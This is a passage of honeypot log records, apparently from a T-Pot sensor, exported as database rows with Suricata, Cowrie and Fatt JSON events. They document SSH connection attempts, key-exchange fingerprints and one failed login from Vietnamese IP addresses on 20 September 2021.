22454	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:04.95605+03	2021-09-20 14:15:06.237471+03	{"_id": "pgbjAnwBvYTbRNuEVwaq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 937442837797008, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56472, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.956050Z", "@timestamp": "2021-09-20T11:07:04.956Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22455	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:05.089546+03	2021-09-20 14:15:06.238471+03	{"_id": "pwbjAnwBvYTbRNuEVwaq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 394752245114571, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33828, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.089546Z", "@timestamp": "2021-09-20T11:07:05.089Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22456	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:05.729371+03	2021-09-20 14:15:06.24047+03	{"_id": "qAbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:40312 (192.168.176.2:22) [session: ae995b2b38d4]", "session": "ae995b2b38d4", "@version": "1", "protocol": "ssh", "src_port": 40312, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.729371Z", "@timestamp": "2021-09-20T11:07:05.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22457	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.641062+03	2021-09-20 14:15:06.241471+03	{"_id": "tgbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:35692 (192.168.176.2:22) [session: 7596d01ecf51]", "session": "7596d01ecf51", "@version": "1", "protocol": "ssh", "src_port": 35692, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.641062Z", "@timestamp": "2021-09-20T11:07:05.641Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22463	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:06.584302+03	2021-09-20 14:15:06.248471+03	{"_id": "_wbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "4d1226e02b74", "@version": "1", "duration": 2.807352304458618, "timestamp": "2021-09-20T11:07:06.584302Z", "@timestamp": "2021-09-20T11:07:06.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22458	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.923668+03	2021-09-20 14:15:06.242471+03	{"_id": "vQbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7596d01ecf51", "@version": "1", "timestamp": "2021-09-20T11:07:05.923668Z", "@timestamp": "2021-09-20T11:07:05.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22459	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.99679+03	2021-09-20 14:15:06.24347+03	{"_id": "vgbjAnwBvYTbRNuEWQYU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f5d5df5e4141", "@version": "1", "duration": 2.4562795162200928, "timestamp": "2021-09-20T11:07:05.996790Z", "@timestamp": "2021-09-20T11:07:05.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22460	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:05.549175+03	2021-09-20 14:15:06.245471+03	{"_id": "1QbjAnwBvYTbRNuEWQYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin~~~] failed", "session": "58adb1fd9c37", "@version": "1", "password": "admin~~~", "username": "admin", "timestamp": "2021-09-20T11:07:05.549175Z", "@timestamp": "2021-09-20T11:07:05.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22461	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:06.758244+03	2021-09-20 14:15:06.24647+03	{"_id": "8AbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "68fa21446dac", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:06.758244Z", "@timestamp": "2021-09-20T11:07:06.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22462	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:06.014207+03	2021-09-20 14:15:06.24747+03	{"_id": "_gbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53032, "timestamp": "2021-09-20T11:07:06.014207", "@timestamp": "2021-09-20T11:07:06.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
42310	192.168.20.116	109.199.241.180	Suricata	2021-09-20 16:15:20.25767+03	2021-09-20 16:30:01.596724+03	{"_id": "rgZYA3wBvYTbRNuEwpY8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 61724, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 240842596478598, "@version": "1", "in_iface": "enp5s0", "src_port": 35201, "dest_port": 53, "timestamp": "2021-09-20T13:15:20.257670Z", "@timestamp": "2021-09-20T13:15:20.257Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22464	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.741318+03	2021-09-20 14:15:06.24947+03	{"_id": "AAbjAnwBvYTbRNuEXAf9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "447202b7f8a7", "@version": "1", "timestamp": "2021-09-20T11:07:06.741318Z", "@timestamp": "2021-09-20T11:07:06.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22465	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:05.921193+03	2021-09-20 14:15:06.25147+03	{"_id": "CgbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35692, "timestamp": "2021-09-20T11:07:05.921193", "@timestamp": "2021-09-20T11:07:05.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22466	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:07.682052+03	2021-09-20 14:15:06.25247+03	{"_id": "FQbjAnwBvYTbRNuEXwd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 713881200340129, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56254, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.682052Z", "@timestamp": "2021-09-20T11:07:07.682Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22467	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:07.761752+03	2021-09-20 14:15:06.253471+03	{"_id": "FAbjAnwBvYTbRNuEXwd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1579987125360951, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60034, "dest_port": 22, "timestamp": "2021-09-20T11:07:07.761752Z", "@timestamp": "2021-09-20T11:07:07.761Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22468	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:07:07.715472+03	2021-09-20 14:15:06.25447+03	{"_id": "EgbjAnwBvYTbRNuEXwd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4171, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 402204013619920, "@version": "1", "in_iface": "enp5s0", "src_port": 36265, "dest_port": 53, "timestamp": "2021-09-20T11:07:07.715472Z", "@timestamp": "2021-09-20T11:07:07.715Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22469	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:58.044437+03	2021-09-20 14:15:06.25547+03	{"_id": "BgbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", 